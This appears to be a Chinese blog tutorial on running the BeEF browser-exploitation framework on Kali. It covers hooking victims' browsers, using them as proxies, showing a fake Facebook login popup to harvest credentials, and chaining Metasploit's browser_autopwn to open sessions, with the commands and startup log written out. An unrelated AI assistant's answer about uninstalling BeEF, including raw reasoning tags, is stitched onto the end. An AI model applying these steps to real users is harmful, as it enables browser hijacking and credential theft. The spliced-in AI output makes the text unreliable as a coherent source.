BeEF

官方: https://beefproject.com/

GitHub: https://github.com/beefproject/beef

kali启动beef:

/usr/share/beef-xss# ./beef 
[15:07:21][*] Bind socket [imapeudora1] listening on [0.0.0.0:2000].
[15:07:21][*] Browser Exploitation Framework (BeEF) 0.4.7.0-alpha #版本号
[15:07:21]    |   Twit: @beefproject
[15:07:21]    |   Site: http://beefproject.com
[15:07:21]    |   Blog: http://blog.beefproject.com
[15:07:21]    |_  Wiki: https://github.com/beefproject/beef/wiki
[15:07:21][*] Project Creator: Wade Alcorn (@WadeAlcorn)
[15:07:21][*] Successful connection with Metasploit.
[15:07:21][*] Loaded 298 Metasploit exploits.
[15:07:21][*] BeEF is loading. Wait a few seconds...
[15:07:24][*] 13 extensions enabled.
[15:07:24][*] 552 modules enabled. #一共加载多少模块
[15:07:24][*] 2 network interfaces were detected.
[15:07:24][+] running on network interface: 127.0.0.1
[15:07:24]    |   Hook URL: http://127.0.0.1:3000/hook.js
[15:07:24]    |_  UI URL:   http://127.0.0.1:3000/ui/panel #登录界面
[15:07:24][+] running on network interface: 192.168.1.105
[15:07:24]    |   Hook URL: http://192.168.1.105:3000/hook.js
[15:07:24]    |_  UI URL:   http://192.168.1.105:3000/ui/panel
[15:07:24][*] RESTful API key: 893473366f7e05666f0a11c01c9fb6049c07d305
[15:07:24][*] HTTP Proxy: http://127.0.0.1:6789
[15:07:24][*] BeEF server started (press control+c to stop)

默认账号密码都是beef;修改配置 /usr/share/beef-xss/config.yaml 结合Metasploit框架配置文件:/usr/share/beef-xss/extensions/metasploit/config.yaml

登录打开控制台:

如果beef布置在公网服务器上,要修改配置文件,不然都可以登录访问控制台!!!

左侧显示被勾住的浏览器:

双击目标可以显示详细信息 

 

双击显示浏览器详细信息

绿色:表示该命令模块对目标可使用,将被检查到

橙色:表示该命令模块对目标可使用,可能被检查到

灰色:表示该命令模块尚未得到目标验证

红色:表示该命令模块针对目标不一定可使用


 

选中勾住的浏览目标可设置为代理,并将通过该浏览器代理挂钩网站所在域内的网站。

设置为代理 在Rider模块查看信息:

社会工程模块使用:

弹框Facebook登录界面:

查看记录能看到历史的记录:

使用metasploit结合Beef使用:

load msgrpc ServerHost=IP Pass=pass
use auxiliary/server/browser_autopwn
set URIPATH /
set LHOST IP
run

启动./beef -x

访问控制台能看到metasploit模块的数量增多了。

 

 

单个使用不一定有效 在设置URIPATH的时候set的 / 这样又便于使用多的模块展开攻击,只要给浏览器发送 例如:http://192.168.1.1:8080/ 

选完要使用的模块后:

 msf终端查看sessions

 

<think>好的,我需要帮助用户在KaliLinux上彻底卸载Beef框架。首先,我得回想一下Beef的安装方式,因为不同的安装方法对应不同的卸载步骤。用户可能通过apt、gem或者源码安装过,所以需要覆盖所有可能性。首先,通过APT包管理器安装的Beef可以用apt remove命令卸载。但用户可能还安装了相关的依赖包,比如ruby、ruby-dev、libpcap-dev等,这些可能需要用aptpurge来彻底删除配置文件。不过要注意,如果其他软件也依赖这些包,卸载可能会影响它们,所以需要谨慎。接下来,如果用户通过gem安装了EventMachine等Ruby库,可能需要用gemuninstall来移除。但需要确认这些gem包是否被其他项目所依赖,避免误删。然后,检查用户是否手动安装了Beef的源代码。这时候需要找到安装目录,通常是/usr/share/beef-xss或者用户自定义的路径,手动删除这些文件和目录。此外,还要检查相关的配置文件,可能在/etc/beef-xss或者用户主目录下的隐藏文件夹,比如~/.beef_xss,这些也需要清理。最后,建议用户验证卸载是否彻底,可以运行whereis beef或者find命令查找残留文件,并确认服务是否停止,端口3000和61985是否不再监听。现在需要把这些步骤整理成清晰的中文回答,确保每个命令正确,并提醒用户注意依赖关系。同时生成相关问题,可能涉及其他软件卸载、清理残留文件的方法,或者Beef框架的安全风险等。</think>### 逐步说明:卸载Kali Linux中的Beef框架 #### 1. **通过APT卸载主程序** ```bash sudo apt remove beef-xss ``` 此命令移除通过APT安装的Beef框架主程序包[^1]。 #### 2. **清理残留配置文件** ```bash sudo apt purge beef-xss ``` 使用`purge`参数会同时删除`/etc/beef-xss`等配置文件[^1]。 #### 3. **删除Ruby依赖组件** 如果通过`gem`安装了额外组件: ```bash sudo gem uninstall eventmachine em-websocket ``` 需手动确认要卸载的gem包(注意:可能影响其他Ruby项目)。 #### 4. **手动清理残留文件** 检查以下目录并删除: ```bash sudo rm -rf /usr/share/beef-xss/ # 主程序目录 sudo rm -rf ~/.beef_xss/ # 用户配置文件 ``` #### 5. **验证卸载结果** ```bash whereis beef-xss # 应无返回结果 netstat -tulpn | grep -E '3000|61985' # 检查服务端口是否关闭 ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值